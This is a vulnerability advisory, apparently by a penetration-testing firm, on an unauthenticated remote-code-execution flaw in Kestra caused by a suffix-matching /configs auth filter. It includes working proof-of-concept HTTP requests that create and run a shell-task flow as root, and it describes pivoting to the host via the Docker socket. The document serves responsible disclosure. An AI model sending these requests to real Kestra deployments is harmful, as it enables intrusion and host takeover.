Kestra: Unauthenticated RCE via `/configs` auth-filter bypass

An unauthenticated attacker bypasses the REST API's Basic-Auth filter by choosing the path segment configs, creates a flow with a shell task and runs it as root inside the Kestra container, pivoting to host takeover through the mounted Docker socket.

Advisory ID: TP-2026-009
Product: Kestra (widely used open-source workflow orchestration and scheduling platform)
Vulnerability type: Authentication bypass leading to remote code execution (CWE-288, CWE-94)
CVE: CVE-2026-53576
CVSS 3.1: 10.0 (Critical) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected versions: <= 1.3.20
Fixed in: 1.3.21, 1.0.45
Vendor advisory: GHSA-2q47-568g-9h4f
Reported: 30 May 2026

Summary

Kestra is a widely used open-source platform for orchestrating and scheduling workflows. The REST API's authentication filter (@Filter("/api/v1/**")) treats any request whose path ends in /configs as the public instance-config endpoint and forwards it without a credential check. Because Kestra addresses its resources via caller-chosen path segments, an anonymous caller can pick configs as the final segment and bypass Basic-Auth entirely. The bypass reaches the flow-create and execution-trigger routes, so an unauthenticated attacker creates a flow containing a shell or process task and runs it. The task executes as root inside the Kestra container, and because the official docker-compose.yml mounts the Docker socket, this also enables takeover of the host. turingpoint verified the end-to-end flow live as unauthenticated RCE as root and reported it responsibly to the vendor.

Root cause

In webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java the filter matches the raw request path by suffix instead of the resolved route: boolean isConfigEndpoint = request.getPath().endsWith("/configs"). When the condition holds, the filter forwards the request to the chain without a credential check (if (isConfigEndpoint || ...) return chain.proceed(request)), and the actual credential check is never reached. Because Kestra addresses resources via caller-chosen path segments (such as /api/v1/{tenant}/flows/{namespace} or /api/v1/{tenant}/executions/{namespace}/{id}), choosing configs as the namespace or flow id is enough to make the path end in /configs. This makes the flow-create endpoint (/api/v1/main/flows/configs) and the execution trigger (/api/v1/main/executions/configs/configs) reachable without any authentication. No account, role, password or victim-created resource is required. The vendor fixed the filter to match the normalized path exactly against /api/v1/configs instead of testing only the /configs suffix.

Proof of Concept

No authentication header. A flow named configs in namespace configs carrying a shell task is created first, then executed:

# 1) Create the flow — path ends in /configs, the auth filter is bypassed
POST /api/v1/main/flows/configs HTTP/1.1
Content-Type: application/x-yaml

id: configs
namespace: configs
tasks:
  - id: pwn
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - id > /tmp/proof.txt

# Response: HTTP 200 (flow stored)

# 2) Trigger the execution — path also ends in /configs
POST /api/v1/main/executions/configs/configs HTTP/1.1
Content-Type: multipart/form-data; boundary=x

# The task runs as uid=0(root) in the container.
# Control: anonymous POST to /api/v1/main/flows/other (not ending in /configs) returns 401.

Live-verified: the anonymous flow create and execution run as uid=0(root); from the container, curl --unix-socket /var/run/docker.sock reaches the host Docker engine.

Impact

  • Unauthenticated remote code execution as root inside the Kestra container, with no account required.
  • Host takeover through the mounted /var/run/docker.sock, reachable from container root.
  • Anonymous read of stored secrets and flow source, plus anonymous deletion of flows and KV entries named configs.
  • Anonymous full-server shutdown via the unauthenticated management port (POST :8081/stop).

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.